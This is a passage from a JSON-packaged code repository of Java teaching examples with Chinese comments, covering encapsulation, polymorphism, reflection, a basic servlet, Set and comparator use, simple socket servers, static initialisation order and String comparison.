    "content": "package com.jun.plugin.basics;\n\n/**\n * \n* @Title: PackagingTest\n* @Description:\n* 封装 \n* @Version:1.0.0  \n* @author pancm\n* @date 2018年3月27日\n */\npublic class PackagingTest {\n    \n    public static void main(String[] args) {\n    \tUser9 user=new User9();\n  //这里会报错，因为id和name是私有的，用于保护该数据\n//      user.id=10;\n//      user.name=\"张三\";\n        user.setId(1);\n        user.setName(\"张三\");\n        System.out.println(user.getId());\n        System.out.println(user.getName());\n    }\n\n}\n\nclass User9{\n    private int id;\n    private String name;\n    public int getId() {\n        return id;\n    }\n    public void setId(int id) {\n        this.id = id;\n    }\n    public String getName() {\n        return name;\n    }\n    public void setName(String name) {\n        this.name = name;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/PolymorphicTest.java",
    "content": "package com.jun.plugin.basics;\n\n/**\n * \n * @Title: PolymorphicTest\n * @Description: 多态测试\n * @Version:1.0.0\n * @author pancm\n * @date 2018年3月27日\n */\npublic class PolymorphicTest {\n\n\tpublic static void main(String[] args) {\n\t\tAnimal2 animal = new Cat2();\n\t\tanimal.eat();\n\t}\n}\n\nclass Animal2 {\n\tprivate String name = \"Animal\";\n\n\tpublic void eat() {\n\t\tSystem.out.println(name + \"正在吃东西...\");\n\t\tsleep();\n\t}\n\n\tpublic void sleep() {\n\t\tSystem.out.println(name + \"正在睡觉...\");\n\t}\n}\n\nclass Cat2 extends Animal2 {\n\tprivate String name = \"Cat\";\n\n\tpublic void eat(String name) {\n\t\tSystem.out.println(name + \"吃完了\");\n\t\tsleep();\n\t}\n\n\tpublic void sleep() {\n\t\tSystem.out.println(name + \"正在睡觉\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/ReflectTest.java",
    "content": "package com.jun.plugin.basics;\n\nimport java.lang.annotation.Annotation;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Member;\nimport java.lang.reflect.Method;  \n  \n  \n/**\n * \n* Title: ReflectTest\n* Description:\n* 反射测试 \n* \n* 反射技术可以对一个类进行解剖。\n　 优点:大大的增强了程序的扩展性。\n* Version:1.0.0  \n* @author pancm\n* @date 2018年2月9日\n */\npublic class ReflectTest {  \n  \n    public static void main(String[] args) throws Exception {  \n        Class clazz = User.class;//获得User的类名，返回reflect.User  \n        Object obj = create(clazz);//创建User的一个对象  \n        System.out.println(obj);//输出对象，会调用对象的toString方法  \n        System.out.println(\"---------\");  \n        invoke1(obj, \"getMessage\");//调用User对象的getMessage方法  \n    }  \n    /* \n    **根据类名，new一个对象，并返回*/  \n    static Object create(Class clazz) throws Exception {  \n        //如果clazz含有无参数的构造方法，可以如下方式实例化  \n        //clazz.newInstance();  \n        //根据类名和参数（类型、个数），找到相应的构造方法-下面创建构造方法参数为String的构造方法  \n        Constructor con=clazz.getConstructor(String.class);  \n        //实例化对象  \n        Object obj=con.newInstance(\"哈哈\");  \n        //返回对象  \n        return obj;  \n    }  \n    /* \n    **根据对象，方法名（字符串），来调用方法*/  \n    static void invoke1(Object obj, String methodName)throws Exception{  \n        //getDeclaredMethods可以获取类本身（不包括父类）所有方法的名字（包括私有方法）**一般不用这种方法，私有的属性一般不能修改  \n        Method[] ms = obj.getClass().getDeclaredMethods();  \n        //getMethods可以获取类本身，以及父类的方法的名字，但不包括私有的方法  \n        ms = obj.getClass().getMethods();  \n        for (Method m : ms) {  \n            //如果方法名字匹配，则反射调用方法  \n            if (methodName.equals(m.getName()))  \n                m.invoke(obj, null);  \n        }  \n        /* \n        **防止方法重载，可用下面的方式（可以指明参数）--与上面的for循环（无法防止方法重载）一个效果 \n        **Method m = obj.getClass().getMethod(methodName, null); \n        **m.invoke(obj, null); \n        */  \n    }  \n      \n    /* \n    **根据类名获取类的属性（一般不直接操作属性）*/  \n    static void field(Class clazz) throws Exception {  \n        Field[] fs = clazz.getDeclaredFields();  \n        //fs = clazz.getFields();  \n        for (Field f : fs)  \n            System.out.println(f.getName());  \n    }  \n    /* \n    **根据类名获取类的注解*/  \n    static void annon(Class clazz) throws Exception {  \n        Annotation[] as = clazz.getAnnotations();  \n        for (Annotation a : as)  \n            System.out.println(((Member) a).getName());  \n    }  \n  \n}  \n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/ReflectTest2.java",
    "content": "package com.jun.plugin.basics;\n\nimport java.lang.reflect.Method;\n\n/**\n * \n* Title: ReflectTest2\n* Description:\n* 反射测试 \n* 　反射的基本步骤：\n1、获得class对象，就是获取到指定的名称的字节码文件对象。\n2、实例化对象，获得类的属性、方法或构造函数。\n3、访问属性、调用方法、调用构造函数创建对象。\n* Version:1.0.0  \n* @author pancm\n* @date 2018年2月28日\n */\npublic class ReflectTest2 {\n\n\tpublic static void main(String[] args) throws ReflectiveOperationException {\n\t\tmethod_1();\n\t\tmethod_2();\n\t\tmethod_3();\n\t\tmethod_4();\n\t}\n\t\n\t/**\n\t * 获取该类中的所有方法\n\t */\n\tprivate static void method_1() throws ReflectiveOperationException {\n\t\t//指定类和路径\n\t\tClass clazz=Class.forName(\"com.pancm.test.reflectTest.User\");\n//\t\tClass clazz=User.class;\n\t\t//获取的是该类中的公有方法和父类中的公有方法。\n\t\tMethod[] methods=clazz.getMethods();\n\t\t//获取本类中的方法，包含私有方法。\n\t\tmethods=clazz.getDeclaredMethods();\n\t\tfor(Method me:methods){\n\t\t\tSystem.out.println(\"方法:\"+me);\n\t\t}\n\t}\n\t\n\t/**\n\t * 获取指定方法\n\t */\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tprivate static void method_2() throws ReflectiveOperationException {\n\t\t//指定类和路径\n\t\tClass clazz=Class.forName(\"com.pancm.test.reflectTest.User\");\n\t\t//获取的指定名称的方法 \n\t\t//如果带有入参，则指定入参类型\n\t\tMethod method=clazz.getMethod(\"getMessage2\",int.class);\n\t\t//初始化\n\t\tObject obj=clazz.newInstance();\n\t\t//执行该方法\n\t\tmethod.invoke(obj, 11);\n\t}\n\t\n\t\n\t/**\n\t * 获取私有的方法\n\t */\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tprivate static void method_3() throws ReflectiveOperationException {\n\t\t//指定类和路径\n\t\tClass clazz=Class.forName(\"com.pancm.test.reflectTest.User\");\n\t\t//获取私有的方法，必须要使用getDeclaredMethod\n\t\tMethod method=clazz.getDeclaredMethod(\"getMessage3\", null);\n\t\t//私有方法不能直接访问，因为权限不够。非要访问，可以通过暴力的方式。\n\t\tmethod.setAccessible(true);\n\t}\n\t\n\t\n\t/**\n\t * 获取静态方法\n\t */\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tprivate static void method_4() throws ReflectiveOperationException {\n\t\t//指定类和路径\n\t\tClass clazz=Class.forName(\"com.pancm.test.reflectTest.User\");\n\t\t//获取私有的方法，必须要使用getDeclaredMethod\n\t\tMethod method=clazz.getMethod(\"getMessage4\",String.class);\n\t\tSystem.out.println();\n\t\tmethod.invoke(null, \"测试\");\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/ServletTest.java",
    "content": "package com.jun.plugin.basics;\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n/**\n * \n* Title: ServletTest\n* Description: \n* 部署在tomcat之后，在web.xml添加:\n*   <servlet>\n    <servlet-name>testServlet</servlet-name>\n    <servlet-class>com.pancm.test.servletTest.testServlet</servlet-class>\n  </servlet>\n\n  <servlet-mapping>\n    <servlet-name>testServlet</servlet-name>\n    <url-pattern>/test.do</url-pattern>\n  </servlet-mapping>\n  然后启动tomcat，在浏览器输入 ip:端口/项目名/设置的地址        \n  就可以访问了\n* Version:1.0.0  \n* @author pancm\n* @date 2018年3月20日\n */\npublic class ServletTest extends HttpServlet {\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\t\n\t/**\n\t * 返回结果\n\t */\n\t private String result = null;\n\t \n\t private long count=1; \n\n\t /**\n\t * \n\t */\n\t@Override\n\tprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {\n\t\tdoPost(req, resp);\n\t}\n\n\t/**\n\t * \n\t */\n\t@Override\n\tprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {\n\t   System.out.println(\"============\");\n\t    System.out.println(req.getParameter(\"param\"));\n\t    PrintWriter printWriter=resp.getWriter();\n\t\tresult = \"这是第\"+count+\"次响应！\";\n\t\ttry {\n\t\t\tresp.setCharacterEncoding(\"utf-8\");\n\t\t\t count++;\n\t\t\t printWriter.print(result);\n\t\t} catch (Exception e) {\n\t\t\tresult=\"第\"+count+\"次请求错误！\";\n\t\t\tprintWriter.print(result);\n\t\t}finally{\n\t\t\treq=null;\n\t\t\tprintWriter=null;\n\t\t\tresp=null;\n\t\t}\n\t}\n\n\t@Override\n\tpublic void destroy() {\n\t\tsuper.destroy();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/SetTest.java",
    "content": "package com.jun.plugin.basics;\n\nimport java.util.ArrayList;\nimport java.util.Comparator;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.LinkedHashSet;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.TreeSet;\n\n/**\n * \n* @Title: setTest\n* @Description: 重写set中的equals和hashcode\n* @Version:1.0.0  \n* @author panchengming\n* @date 2017年9月17日\n */\npublic class SetTest {\n\t\n\n\tpublic static void main(String[] args) {\n\t\tSet hashSet = new HashSet();\n\t\tSet treeSet = new TreeSet();\n\t\tSet linkedSet = new LinkedHashSet();\n\t\t\n\t\t\n\t\tset();\n\t\thashSetTest();\n\t\ttreeSet1();\n\t\ttreeSet2();\n\t}\n\t\n\t/**\n\t * set去重\n\t */\n\tpublic static void set(){\n\t\t  // 初始化list\n        List<String> list = new ArrayList<String>();\n        list.add(\"Jhon\");\n        list.add(\"Jency\");\n        list.add(\"Mike\");\n        list.add(\"Dmitri\");\n        list.add(\"Mike\");\n        // 利用set不允许元素重复的性质去掉相同的元素\n        Set<String> set = new HashSet<String>();\n        for (int i = 0; i < list.size(); i++) {\n            String items = list.get(i);\n            System.out.println(\"items:\"+items);\n            if (!set.add(items)) {\n                // 打印重复的元素\n                System.out.println(\"重复的数据: \" + items);\n            }\n        }\n        System.out.println(\"list:\"+list);\n\t}\n\t\n\t/**\n\t *  使用hashSet去重\n\t */\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tpublic static void hashSetTest(){\n\t\tHashSet hs = new HashSet();  \n\t//\tTreeMap tm=new TreeMap();\n        hs.add(new AA(\"ABC\", 20));  \n        hs.add(new AA(\"BCD\", 20));  \n        hs.add(new AA(\"CDE\", 20));  \n        hs.add(new AA(\"ABC\", 20));  \n        hs.add(new AA(\"BCD\", 20));  \n        Iterator it = hs.iterator();   //定义迭代器\n        while (it.hasNext()) {  \n            Object next = it.next();  \n            System.out.println(\"排序之前:\"+next);  \n//            Entry<String, Object> me=(Entry<String, Object>) it.next();\n//            tm.put(me.getKey(), me.getValue());\n        }  \n//        System.out.println(\"TreeMap排序之后:\"+tm);\n\t}\n\t\n\t/**\n\t * 一，让容器自身具备比较性，自定义比较器。\n\t\t需求：当元素自身不具备比较性，或者元素自身具备的比较性不是所需的。\n\t\t那么这时只能让容器自身具备。\n\t\t定义一个类实现Comparator 接口，覆盖compare方法。\n\t\t并将该接口的子类对象作为参数传递给TreeSet集合的构造函数。\n\t\t当Comparable比较方式，及Comparator比较方式同时存在，以Comparator\n\t\t比较方式为主\n\t */\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tpublic static void treeSet1(){\n\t\t TreeSet ts = new TreeSet(new MyComparator());  \n\t        ts.add(new Book(\"think in java\", 100));  \n\t        ts.add(new Book(\"java 核心技术\", 75));  \n\t        ts.add(new Book(\"现代操作系统\", 50));  \n\t        ts.add(new Book(\"java就业教程\", 35));  \n\t        ts.add(new Book(\"think in java\", 100));  \n\t        ts.add(new Book(\"ccc in java\", 100));  \n\t  \n\t        System.out.println(\"treeSet1:\"+ts); \n\t}\n\t\n\t\n\t/**\n\t *  \n\t\t二，让元素自身具备比较性。\n\t\t也就是元素需要实现Comparable接口，覆盖compareTo 方法。\n\t\t这种方式也作为元素的自然排序，也可称为默认排序。\n\t\t年龄按照搜要条件，年龄相同再比姓名。\n\t */\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tpublic static void treeSet2(){\n\t\tTreeSet ts = new TreeSet();  \n        ts.add(new Person(\"aa\", 20, \"男\"));  \n        ts.add(new Person(\"bb\", 18, \"女\"));  \n        ts.add(new Person(\"cc\", 17, \"男\"));  \n        ts.add(new Person(\"dd\", 17, \"女\"));  \n        ts.add(new Person(\"dd\", 15, \"女\"));  \n        ts.add(new Person(\"dd\", 15, \"女\"));  \n  \n        System.out.println(\"treeSet2:\"+ts);  \n        System.out.println(ts.size()); // 5  \n\t}\n\t\n}\n\n\n\n class AA{\n\tprivate String name;\n\tprivate int age;\n\n\tpublic AA(String name, int age) {\n\t\tthis.name=name;\n\t\tthis.age=age;\n\t}\n\t\n\tAA() {  \n\t\t  \n\t    }  \n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic int getAge() {\n\t\treturn age;\n\t}\n\n\tpublic void setAge(int age) {\n\t\tthis.age = age;\n\t}\n\t\n\t\t//重写hashCode\n\t \t@Override   \n\t    public int hashCode() {  \n\t        System.out.println(\"hashCode:\" + this.name);  \n\t        return this.name.hashCode() + age * 37;  \n\t    }  \n\t  \n\t //重写equals\n\t    @Override  \n\t    public boolean equals(Object obj) {  \n\t        if (obj instanceof AA) {  \n\t        \tAA a = (AA) obj;  \n\t            return this.name.equals(a.name) && this.age == a.age;  \n\t        } else {  \n\t            return false;  \n\t        }  \n\t    }  \n\t  \n\t    @Override  \n\t    public String toString() {  \n\t        return \"姓名:\" + this.name + \" 年龄:\" + this.age;  \n\t    }  \n\t}\n\n@SuppressWarnings(\"rawtypes\")\nclass Person implements Comparable {  \n\t    private String name;   \n\t    private int age;  \n\t    private String gender;   //性别\n\t  \n\t    public Person() {  \n\t    }  \n\t  \n\t    public Person(String name, int age, String gender) {  \n\t  \n\t        this.name = name;  \n\t        this.age = age;  \n\t        this.gender = gender;  \n\t    }  \n\t  \n\t    public String getName() {  \n\t        return name;  \n\t    }  \n\t  \n\t    public void setName(String name) {  \n\t        this.name = name;  \n\t    }  \n\t  \n\t    public int getAge() {  \n\t        return age;  \n\t    }  \n\t  \n\t    public void setAge(int age) {  \n\t        this.age = age;  \n\t    }  \n\t  \n\t    public String getGender() {  \n\t        return gender;  \n\t    }  \n\t  \n\t    public void setGender(String gender) {  \n\t        this.gender = gender;  \n\t    }  \n\t  \n\t    @Override  \n\t    public int hashCode() {  \n\t        return name.hashCode() + age * 37;  \n\t    }  \n\t  \n\t    public boolean equals(Object obj) {  \n\t        System.err.println(this + \"equals :\" + obj);  \n\t        if (!(obj instanceof Person)) {  \n\t            return false;  \n\t        }  \n\t        Person p = (Person) obj;  \n\t        return this.name.equals(p.name) && this.age == p.age;  \n\t  \n\t    }  \n\t  \n\t    public String toString() {  \n\t        return \"Person [name=\" + name + \", age=\" + age + \", gender=\" + gender  \n\t                + \"]\";  \n\t    }  \n\t  \n\t    @Override  \n\t    public int compareTo(Object obj) {  \n\t        Person p = (Person) obj;  \n\t        System.out.println(this+\" compareTo:\"+p);  \n\t        if (this.age > p.age) {  \n\t            return 1;  \n\t        }  \n\t        if (this.age < p.age) {  \n\t            return -1;  \n\t        }  \n\t        return this.name.compareTo(p.name);  \n\t    }  \n }\n \n\n@SuppressWarnings(\"rawtypes\")\nclass MyComparator implements Comparator {  \n\t  \n    public int compare(Object o1, Object o2) {  \n        Book b1 = (Book) o1;  \n        Book b2 = (Book) o2;  \n        System.out.println(b1+\" comparator \"+b2);  \n        if (b1.getPrice() > b2.getPrice()) {  \n            return 1;  \n        }  \n        if (b1.getPrice() < b2.getPrice()) {  \n            return -1;  \n        }  \n        return b1.getName().compareTo(b2.getName());  \n    }  \n  \n}  \n  \nclass Book {  \n    private String name;  \n    private double price;  \n  \n    public Book() {  \n  \n    }  \n  \n    public String getName() {  \n        return name;  \n    }  \n  \n    public void setName(String name) {  \n        this.name = name;  \n    }  \n  \n    public double getPrice() {  \n        return price;  \n    }  \n  \n    public void setPrice(double price) {  \n        this.price = price;  \n    }  \n  \n    public Book(String name, double price) {  \n  \n        this.name = name;  \n        this.price = price;  \n    }  \n  \n    @Override  \n    public String toString() {  \n        return \"Book [name=\" + name + \", price=\" + price + \"]\";  \n    }  \n  \n}  \n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/SocketTest.java",
    "content": "package com.jun.plugin.basics;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.io.PrintWriter;\nimport java.net.InetSocketAddress;\nimport java.net.ServerSocket;\nimport java.net.Socket;\nimport java.nio.ByteBuffer;\nimport java.nio.channels.SelectionKey;\nimport java.nio.channels.Selector;\nimport java.nio.channels.ServerSocketChannel;\nimport java.nio.channels.SocketChannel;\nimport java.nio.charset.Charset;\nimport java.util.Iterator;\nimport java.util.Set;\n\n/**\n * \n * @Title: SocketTest\n * @Description:Socket测试\n * @Version:1.0.0\n * @author pancm\n * @date 2017年11月16日\n */\npublic class SocketTest {\n\t/** 端口 */\n\tprivate static final int portNumber = 6789;\n\n\tprivate static String request = null;\n\tprivate static String response = null;\n\n\tpublic static void main(String[] args) {\n\t\trequest = \"Hello\";\n\t\tsocketTest(request);\n\n\t}\n\n\t/**\n\t * socket简单连接测试\n\t * \n\t * @param request\n\t */\n\tprivate static void socketTest(String request) {\n\t\ttry {\n\t\t\t// 创建一个新的 ServerSocket， 用 以监听指定端口上的连接请求\n\t\t\tServerSocket serverSocket = new ServerSocket(portNumber);\n\t\t\t// 对 accept()方法的调用将被阻塞，直到一个连接建立\n\t\t\tSocket clientSocket = serverSocket.accept();\n\t\t\t// 这些流对象都派生于该套接字的流对象\n\t\t\tBufferedReader in = new BufferedReader(new InputStreamReader(\n\t\t\t\t\tclientSocket.getInputStream()));\n\t\t\tPrintWriter out = new PrintWriter(clientSocket.getOutputStream(),\n\t\t\t\t\ttrue);\n\t\t\t// 循环处理开始\n\t\t\twhile ((request = in.readLine()) != null) {\n\t\t\t\t// 如果客户端发送了“Done”，则退出处理循环\n\t\t\t\tif (\"Done\".equals(request)) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t// 请求被传递给服务器的处理方法\n\t\t\t\tresponse = processRequest(request);\n\t\t\t\tSystem.out.println(\"response:\" + response);\n\t\t\t\t// 服务器的响应被发送给了客户端\n\t\t\t\tout.println(response);\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\n\t\t}\n\t}\n\n\tprivate static String processRequest(String request) {\n\t\treturn \"hi\";\n\t}\n\n\t/**\n\t * socket简单并发测试\n\t * @param port\n\t * @throws IOException\n\t */\n\tpublic void serve(int port) throws IOException {\n\t\t// 将服务器绑定到指定端口\n\t\tfinal ServerSocket socket = new ServerSocket(port);\n\t\ttry {\n\t\t\tfor (;;) {\n\t\t\t\t// 接受连接\n\t\t\t\tfinal Socket clientSocket = socket.accept();\n\t\t\t\tSystem.out.println(\"Accepted connection from \" + clientSocket);\n\t\t\t\t// 创建一个新的线程来处理该连接\n\t\t\t\tnew Thread(new Runnable() {\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void run() {\n\t\t\t\t\t\tOutputStream out;\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tout = clientSocket.getOutputStream();\n\t\t\t\t\t\t\t// 将消息写给已连接的客户端\n\t\t\t\t\t\t\tout.write(\"Hi!\\r\\n\".getBytes(Charset\n\t\t\t\t\t\t\t\t\t.forName(\"UTF-8\")));\n\t\t\t\t\t\t\tout.flush();\n\t\t\t\t\t\t\tclientSocket.close();\n\t\t\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\t} finally {\n\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\tclientSocket.close();\n\t\t\t\t\t\t\t} catch (IOException ex) {\n\t\t\t\t\t\t\t\t// ignore on close\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}).start();\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n    \n\t/**\n\t * socket 实现非阻塞 I/O\n\t * @param port\n\t * @throws IOException\n\t */\n\tpublic void serve1(int port) throws IOException {\n\t\tServerSocketChannel serverChannel = ServerSocketChannel.open();\n\t\tserverChannel.configureBlocking(false);\n\t\tServerSocket ssocket = serverChannel.socket();\n\t\tInetSocketAddress address = new InetSocketAddress(port);\n\t\tssocket.bind(address);\n\t\t//打开Selector来处理Channel\n\t\tSelector selector = Selector.open();\n\t\t//将ServerSocket 注册到Selector以接受连接\n\t\tserverChannel.register(selector, SelectionKey.OP_ACCEPT);\n\t\tfinal ByteBuffer msg = ByteBuffer.wrap(\"Hi!\\r\\n\".getBytes());\n\t\tfor (;;) {\n\t\t\ttry {\n\t\t\t\t//等待需要处理的新事件； 阻 塞 将一直持续到下一个传入事件\n\t\t\t\tselector.select();\n\t\t\t} catch (IOException ex) {\n\t\t\t\tex.printStackTrace();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t//获取所有接收事件的Selection-Key实例\n\t\t\tSet<SelectionKey> readyKeys = selector.selectedKeys();\n\t\t\tIterator<SelectionKey> iterator = readyKeys.iterator();\n\t\t\twhile (iterator.hasNext()) {\n\t\t\t\tSelectionKey key = iterator.next();\n\t\t\t\titerator.remove();\n\t\t\t\ttry {\n\t\t\t\t\t//检查事件是否是一个新的已经就绪可以被接受的连接\n\t\t\t\t\tif (key.isAcceptable()) {\n\t\t\t\t\t\tServerSocketChannel server = (ServerSocketChannel) key.channel();\n\t\t\t\t\t\tSocketChannel client = server.accept();\n\t\t\t\t\t\tclient.configureBlocking(false);\n\t\t\t\t\t\t//接受客户端，并将它注册到选择器\n\t\t\t\t\t\tclient.register(selector, SelectionKey.OP_WRITE\n\t\t\t\t\t\t\t\t| SelectionKey.OP_READ, msg.duplicate());\n\t\t\t\t\t\tSystem.out.println(\"Accepted connection from \" + client);\n\t\t\t\t\t}\n\t\t\t\t\t//检查套接字是否已经准备好写数据\n\t\t\t\t\tif (key.isWritable()) {\n\t\t\t\t\t\tSocketChannel client = (SocketChannel) key.channel();\n\t\t\t\t\t\tByteBuffer buffer = (ByteBuffer) key.attachment();\n\t\t\t\t\t\t//将数据写到已连接的客户端\n\t\t\t\t\t\twhile (buffer.hasRemaining()) {\n\t\t\t\t\t\t\tif (client.write(buffer) == 0) {\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tclient.close();\n\t\t\t\t\t}\n\t\t\t\t} catch (IOException ex) {\n\t\t\t\t\tkey.cancel();\n\t\t\t\t\ttry {\n\t\t\t\t\t\tkey.channel().close();\n\t\t\t\t\t} catch (IOException cex) {\n\t\t\t\t\t\t// ignore on close\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/StaticTest.java",
    "content": "package com.jun.plugin.basics;\n\n/**\n * \n * @Title: StaticTest\n * @Description: 构造块和静态方法测试\n * @Version:1.0.0\n * @author Administrator\n * @date 2017-8-14\n */\npublic class StaticTest {\n\tpublic static StaticTest t1 = new StaticTest();\n\tpublic static StaticTest t2 = new StaticTest();\n\t{\n\t\tSystem.out.println(\"构造块\");\n\t}\n\tstatic {\n\t\tSystem.out.println(\"静态块\");\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tStaticTest t = new StaticTest(); // 构造块 构造块 静态块 构造块\n\t\t\n\t\t\n\t\t //  new HelloA();  extends HelloA\n    \tnew HelloB();   //3\n        /*\n         * 总结:创建对象时构造器的调用顺序是：先初始化静态成员，然后调用父类构造器，再初始化非静态成员，最后调用自身构造器。\n         */\n\n\t\t/*\n\t\t * 总结 开始时JVM加载B.class，对所有的静态成员进行声明，t1 t2被初始化为默认值，为null， 又因为t1\n\t\t * t2需要被显式初始化，所以对t1进行显式初始化，初始化代码块→构造函数（没有就是调用默认的构造函数），\n\t\t * 咦！静态代码块咋不初始化？因为在开始时已经对static部分进行了初始化，虽然只对static变量进行了初始化，\n\t\t * 但在初始化t1时也不会再执行static块了，因为JVM认为这是第二次加载类B了，所以static会在t1初始化时被忽略掉，\n\t\t * 所以直接初始化非static部分，也就是构造块部分（输出''构造块''）接着构造函数（无输出）。\n\t\t * 接着对t2进行初始化过程同t1相同（输出'构造块'），此时就对所有的static变量都完成了初始化，\n\t\t * 接着就执行static块部分（输出'静态块'），接着执行，main方法，同样也，new了对象， 调用构造函数输出（'构造块'）\n\t\t * \n\t\t */\n\n\t}\n\t\n}\n\nclass HelloA {\n\tprivate int i=10;\n    public HelloA() {\n        System.out.println(\"HelloA\"); //5\n    }\n    \n    { System.out.println(\"I'm A class\"); } //4\n    \n    static { System.out.println(\"static A\"); } //1\n\n}\n class HelloB extends HelloA{\n\tprivate int j=12;\n    public HelloB() {\n        System.out.println(\"HelloB\");  //7\n    }\n    \n    { System.out.println(\"I'm B class\"); }  //6\n    \n    static { System.out.println(\"static B\"); }  //2\n    \n     \n    \t\n  \n\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/StringTest.java",
    "content": "package com.jun.plugin.basics;\n\n/**\n* Title: test1\n* Description: string相关问题\n* Version:1.0.0  \n* @author pancm\n* @date 2017-7-21\n */\npublic class StringTest {\n\t  public static void main(String[] args) {\n\t\t\n\t\t  String hello=\"hello\";\n\t\t  //有15种构造方法,有两种是过时的，其中包含char[],byte[],int[],String,StringBuffer,StringBuilder。\n\t\t  String newHello=new String(\"hello\");\n\t\t  char []cHello ={'h','e','l','l','o'};\n\t\t  String str=new String(cHello);\n\t\t  System.out.println(hello+\",\"+newHello+\",\"+str);\n\t\t  test1();\n\t\t  test3();\n\t\t  \n\t\t  System.out.println(\"==\"+\"-2\".indexOf(\"-1\"));\n\t\t  System.out.println(\"==\"+\"-1\".indexOf(\"-1\"));\n\t\t  System.out.println(\"==\"+\"0\".indexOf(\"-1\"));\n\t\t  System.out.println(\"==\"+\"1\".indexOf(\"-1\"));\n\t\t  String string = null;\n\t\t  System.out.println(\"\"+string);\n\t\t  System.out.println((\"\"+string));\n\t\t  System.out.println(string+\"\");\n\t\t  System.out.println(string+\"1\");\n\t  }\n\t  \n\t  \n\t  \n\t  \n\t  \n\t  private static void test1(){\n\t\t     String str=\"Hello World\";\n\t\t     String str1=\"\";\n\t\t\t StringBuffer sbr=new StringBuffer(str); \n\t\t\t StringBuilder sbd=new StringBuilder(str); \n\t\t\t long start=System.currentTimeMillis();\n\t\t     for(int i=0;i<10000;i++){\n\t\t    \t str1+=str;\n\t\t     }\n\t\t     System.out.println(\"String累加用时:\"+(System.currentTimeMillis()-start)+\"ms\");\n\t\t     long start2=System.currentTimeMillis();\n\t\t     for(int i=0;i<10000;i++){\n\t\t    \t sbr.append(str);\n\t\t     }\n\t\t     System.out.println(\"StringBuffer累加用时:\"+(System.currentTimeMillis()-start2)+\"ms\");\n\t\t     long start3=System.currentTimeMillis();\n\t\t     for(int i=0;i<10000;i++){\n\t\t    \t sbd.append(str);\n\t\t     }\n\t\t     System.out.println(\"StringBuilder累加用时:\"+(System.currentTimeMillis()-start3)+\"ms\");\n\t  }\n\t  \n\t  \n\t  private  static void test3() {\n\t\t\n\t\t    String s1 = \"test\";\n\t        String s2 = new String(\"test\");\n\t        String s3 = \"te\";\n\t        String s4 = \"st\";\n\t        String s5 = \"te\" + \"st\";\n\t        String s6 = s3 + s4;\n\t        String s7 = new String(s1);\n\t        // 引用地址不同  equals相同    \n\t        System.out.println(s1 == s2); //false\n\t        // s5 在编译之前就可以确认s5=Programming 因此相等\n\t        System.out.println(s1 == s5); //true\n\t        //字符串常量池的原则 这时 s6 的值是在运行时得到的，它会重新构造字符串对象 所以为false\n\t        System.out.println(s1 == s6); //false\n\t        System.out.println(s7==s1);       //false\n\t        System.out.println(s7.equals(s1)); //true\n\t        \n\t        \n\t        String ab=\"ab\";\n\t\t    String c=\"c\";\n\t\t    String ab_c=ab+c;\n\t\t    String ab_c1=\"ab\"+\"c\";\n\t\t    String abc=\"abc\";\n\t\t    /**\n\t\t     * 优先级问题\n\t\t     */\n\t\t    System.out.println(ab_c == abc + \" : \" + ab_c.equals(abc));//false\n\t\t    /**\n\t\t     *  字符串常量池的原则 这时 ab_c 的值是在运行时得到的，它会重新构造字符串对象 所以为false\n\t\t     */\n\t\t    System.out.println((ab_c == abc) + \" : \" + ab_c.equals(abc));//false : true\n\t\t    /**\n\t\t     * 这条语言在编译时，可以确定 ab_c1 = \"abc\"，因此它与 abc = \"abc\" 指向同一对象 所以为true\n\t\t     */\n\t\t    System.out.println((ab_c1 == abc) + \" : \" + ab_c1.equals(abc));//true : true\n\n\t}\n\t  